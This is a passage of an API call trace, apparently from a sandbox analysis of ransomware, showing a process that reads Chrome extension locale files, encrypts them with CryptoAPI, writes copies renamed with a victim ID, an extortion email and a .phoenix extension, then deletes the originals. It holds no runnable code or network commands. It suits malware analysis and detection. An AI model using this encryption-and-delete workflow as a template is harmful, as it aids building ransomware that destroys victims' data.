	[0261.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.874] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0261.874] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.874] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xbe, lpOverlapped=0x0) returned 1
	[0261.875] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0261.875] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0261.877] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0261.877] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.877] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.877] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.877] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.877] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.877] CloseHandle (hObject=0x250) returned 1
	[0261.877] CloseHandle (hObject=0x2e4) returned 1
	[0261.877] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sl\\messages.json")) returned 1
	[0261.878] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.879] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=260) returned 1
	[0261.879] CloseHandle (hObject=0x2e4) returned 1
	[0261.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json")) returned 0x20
	[0261.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.879] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.879] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.880] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0261.880] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.880] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x104, lpOverlapped=0x0) returned 1
	[0261.882] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0261.882] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0261.883] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0261.883] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.883] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.883] CryptDestroyKey (hKey=0x151400) returned 1
	[0261.883] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.915] CryptDestroyKey (hKey=0x151500) returned 1
	[0261.915] CloseHandle (hObject=0x2e4) returned 1
	[0261.915] CloseHandle (hObject=0x250) returned 1
	[0261.915] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sr\\messages.json")) returned 1
	[0261.916] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.916] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0261.916] CloseHandle (hObject=0x250) returned 1
	[0261.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json")) returned 0x20
	[0261.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.917] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.917] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.917] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0261.917] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.917] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0261.918] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0261.918] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0261.919] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0261.919] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.919] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.919] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.919] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.920] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0261.920] CloseHandle (hObject=0x250) returned 1
	[0261.920] CloseHandle (hObject=0x2e4) returned 1
	[0261.920] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sv\\messages.json")) returned 1
	[0261.921] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.921] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.921] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=196) returned 1
	[0261.921] CloseHandle (hObject=0x2e4) returned 1
	[0261.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json")) returned 0x20
	[0261.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.921] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.922] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.922] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.922] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.922] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0261.922] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.922] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc4, lpOverlapped=0x0) returned 1
	[0261.968] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0261.968] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0261.969] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0261.969] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.969] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.969] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.969] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.969] CryptDestroyKey (hKey=0x151380) returned 1
	[0261.969] CloseHandle (hObject=0x2e4) returned 1
	[0261.969] CloseHandle (hObject=0x250) returned 1
	[0261.969] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\sw\\messages.json")) returned 1
	[0261.970] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.970] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.971] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=221) returned 1
	[0261.971] CloseHandle (hObject=0x250) returned 1
	[0261.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json")) returned 0x20
	[0261.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.971] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.971] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.971] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.971] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0261.972] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0261.972] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.972] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdd, lpOverlapped=0x0) returned 1
	[0261.973] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0261.973] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0261.974] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0261.974] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.974] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.974] CryptDestroyKey (hKey=0x151780) returned 1
	[0261.974] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.974] CryptDestroyKey (hKey=0x151740) returned 1
	[0261.974] CloseHandle (hObject=0x250) returned 1
	[0261.974] CloseHandle (hObject=0x2e4) returned 1
